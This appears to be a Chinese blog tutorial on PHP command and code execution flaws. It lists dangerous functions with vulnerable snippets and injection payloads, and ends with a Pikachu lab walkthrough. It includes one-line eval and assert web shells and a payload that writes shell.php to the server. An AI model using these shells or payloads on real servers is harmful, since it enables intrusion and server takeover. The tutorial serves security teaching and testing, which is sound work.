RCE漏洞概念
“感谢您阅读本篇博客!如果您觉得本文对您有所帮助或启发,请不吝点赞和分享给更多的朋友。您的支持是我持续创作的动力,也欢迎留言交流,让我们一起探讨技术,共同成长!谢谢!🚀✨”
概念
因为业务需要,开发者未对用户输入的参数做严格的过滤,导致恶意用户的输入被作为命令来执行,比如PHP中的exec()
、system()
等,如果这些函数的参数是由用户所提供的,那么恶意用户就可能通过构造命令拼接来执行额外系统命令,出现远程代码漏洞比如这样的代码
exec
属于命令执行eval()
A瓦 函数属于代码执行
管道符
一般我们是需要用后面的语句来进行攻击,所以首选|
如果被过滤了在考虑其他
wwww.baidu.com | dir // dir 列出当前目录命令
逻辑与 逻辑或
命令执行
常见的路由器、防火墙、入侵检测等设备的web管理界面上。一般会给用户提供一个ping操作的web界面,用户从web界面输入目标IP,提交后,后台会对该IP地址进行一次ping
测试,并返回测试结果
<?php
system("ping -c 1 ".$_GET['ip']);
?>
程序的本意是让用户传入一个ip地址去测试网络连通性,但是由于参数不可控,
当我们传入的ip参数为"127.0.0.1;id“时,执行的命令就便成了”ping -c 1 127.0.0.1;id",
执行完ping命令后又执行了id命令, ";" 在linux中用于将多条命令隔开像这样的代码就会存在命令执行漏洞
诸如此类的注入漏洞只要用户输入不可控就可能会存在注入漏洞,至于造成的危害就看执行的什么样的函数
执行条件
- 开发人员调用了能够执行系统命令的函数
- 这个函数的参数可控(即用户能够控制)
- 开发人员没有对该函数的参数进行过滤或过滤不严
系统命令执行函数
system()
passthru()
exec()
shell_exec()
popen()
proc_open()
pcntl_exec()
PHP
命令执行函数
system()
字符串作为OS命令执行
<?php system($_POST["cmd"]);?> //执行指定的命令,并输出,将字符串作为OS命令执行
cmd=ifconfig; system("whoami");
// system和exec的区别是system直接返回结果到浏览器,函数执行有回显,将执行结果输出到页面上
passthru()
字符串作为OS命令执行,不需要输出执行结果,且输出全部的内容
<?php passthru($_POST["cmd"]);?>
cmd=ipconfig
exec()
字符串作为OS命令执行,需要输出执行结果,且它只会输出最后一行的内容
<?php echo exec($_POST["cmd"]);?>
<?php print exec($_POST["cmd"]);?>
//他的输出结果需要打印,system()不用打印,上方的两种打印方式都是可行的
shell_exec()
字符串作为OS命令执行,需要输出执行结果,且输出全部的内容
<?php echo shell_exec($_POST["cmd"]); ?>
<?php print shell_exec($_POST["cmd"]); ?>
popen()/proc_open()
字符串当作OS命令来执行,但是该函数返回的是文件指针而非命令执行结果该函数有两个参数
windows:
<?php
$cmd = $_POST['cmd'].">> 1.txt"; // $cmd=1.txt,那么这个函数实际上是popen("1.txt","")
//此时的$cmd=ipconfig >> 1.txt
popen("$cmd",'r'); // 'r' 是一个参数,表示以只读方式打开命令的输出管道。
//实际上就是 popen("ipconfig >> 1.txt", "r"),把执行结果放入1.txt文件,
// 通过访问1.txt文件查看执行结果。
?>
linux:
<?php $handle = popen("/bin/ls","r");?>
反引号 ``
引号里面的代码也会被当作OS命令来执行,实际上是调用shell_exec
(函数来执行)
<?php echo `whoami`?> <!--直接输出代码中的命令-->
<?php
$cmd = $_GET['cmd'];
print `$cmd`; // 运行后自定义命令输入
?>
代码执行
其实在黑盒测试中是很难发现RCE
漏洞,更多的是需要白盒代码审计,通过源码我们再进一步查找可以造成命令执行漏洞的函数去推测出它的逻辑
代码执行函数
@
符合的作用是屏蔽掉错误信息,这样哪怕连接出错也不会报错,原因是防止别人根据错误提示信息来推测出你的数据库结构进行注入攻击一类的黑客行为
eval()
字符串作为参数传入,然后将其作为代码执行
<?php @eval($_POST['cmd']);?><!-- 如使用蚁剑连接,密码就是cmd-->
命令执行: cmd=system(whoami);
assert()
传入的参数当成PHP代码执行,不需要加入分号
<?php @assert($_POST['cmd'])?>
命令执行:cmd=system(whoami)
call_user_func()
调用一个用户自定义的函数或方法,方法调用方法
<?php
call_user_func("assert",$_POST['cmd']);
?>
命令执行:cmd=system(whoami)
create_function()
创建一个匿名函数执行代码,由于创建的是一个匿名函数,因此无法像普通函数一样直接调用,必须将其赋值给一个变量
<?php
$func =create_function('',$_POST['cmd']); // 赋值个 func变量
$func(); // 输出命令
?>
array_map()
用户自定义函数作用到数组中的每个值上,并返回用户自定义函数作用后的带有新值的数组,回调函数接受的参数数目应该和传递给 array_map() 函数的数组数目一致
<?php
$func=$_GET['func']; // 获取函数名
$cmd=$_POST['cmd']; // 获取命令 whoami
$array[0]=$cmd; // 将命令存储在数组中 0也就是第一个
$new_array=array_map($func,$array); // 将函数名作为回调函数,赋值给新的数组
echo $new_array; // 将new_array数组输出在页面上
?>
命令执行:cmd=whoami
array_filter()
用于过滤数组中的元素,返回一个新的数组
<?php
$cmd=$_POST['cmd']; // POST传参命令
$array1=array($cmd); // 将cmd命令添加到数组中
$func =$_GET['func']; // get查询获取func参数,赋值给 $func
array_filter($array1,$func); // 对数组应用了array_filter()函数
?>
命令执行: func=system&cmd=whoam
uasort()
php环境大于5.6使用,使用用户自定义的比较函数对数组中的值进行排序并保持索引关联
命令执行: http://localhost/123.php?1=1+1&2=eval($_GET[cmd])&cmd=system(whoami);
<?php
usort($_GET,'asse'.'rt');
?>
preg_replace('正则规则','替换字符','目标字符')
将目标字符中符合正则规则的字符替换为替换字符,此时如果正则规则中使用/e修饰符,则存在代码执行漏洞
<?php
preg_replace("/test/e",$_POST["cmd"],"jutst test");
?>
命令执行: cmd=eval(phpinfo())
Pikachu靶场
命令执行
ping
命令 使用 逻辑与或绕过 &&
127.0.0.1 && whoami
后端代码使用shell_exec
造成命令执行的函数 直接执行了系统命令
代码执行
输入的字符串被作为编程语言内置的代码去执行,
phpinfo();
输入字符串直接被eval
执行
通过代码写入生成文件的一句话马,首先使用fputs
写入文件内容,先fopen
打开shell.php
,以w
写入模式打开,没有这个文件则创建,并在此文件内写入内容
<?php assert($_POST[fin]);?>
fputs(fopen('shell.php','w'),'<?php eval($_POST["cmd"]);?>');
输入框执行后文件成功写入,如果实战中回显路径的话可以蚁剑连接